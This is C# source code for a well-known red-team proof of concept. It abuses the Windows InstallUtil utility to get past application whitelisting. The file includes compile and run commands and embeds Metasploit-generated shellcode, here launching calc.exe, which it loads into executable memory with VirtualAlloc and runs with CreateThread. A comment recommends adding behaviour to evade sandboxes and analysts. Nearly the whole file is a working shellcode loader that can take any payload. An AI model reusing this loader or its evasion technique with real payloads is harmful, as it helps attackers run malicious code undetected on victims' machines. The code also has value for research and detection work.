InstallUtil.hta

using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
 
 
  
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
 
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /unsafe /platform:x86 /out:execalc.exe execalc.cs
Step Two:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U execalc.exe
 
*/
  
//root@infosec:~# msfvenom --payload  windows/exec CMD="calc" EXITFUNC=thread -f csharp > shellcode.txt
  
    public class Program
    {
        public static void Main()
        {
            Console.WriteLine("Hello From Main...I Don't Do Anything");
            //Add any behaviour here to throw off sandbox execution/analysts :)
            Shellcode.Exec();
        }
         
    }
     
    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
{
    //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
    public override void Uninstall(System.Collections.IDictionary savedState)
    {
     
        Console.WriteLine("Hello There From Uninstall");
        Shellcode.Exec();
         
    }
     
}
 
     
    public class Shellcode
{
        public static void Exec()
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[193] {
            0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
            0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
            0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
            0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
            0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
            0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
            0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
            0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
            0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
            0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
            0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
 
  
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data
  
  
            IntPtr pinfo = IntPtr.Zero;
  
            // execute native code
  
            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
             
      }
  
        private static UInt32 MEM_COMMIT = 0x1000;
  
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
 
        [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
         UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
 
     
 
    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(
 
      UInt32 lpThreadAttributes,
      UInt32 dwStackSize,
      UInt32 lpStartAddress,
      IntPtr param,
      UInt32 dwCreationFlags,
      ref UInt32 lpThreadId
 
      );
    [DllImport("kernel32")]
    private static extern bool CloseHandle(IntPtr handle);
 
    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(
 
      IntPtr hHandle,
      UInt32 dwMilliseconds
      );
     
         
  
}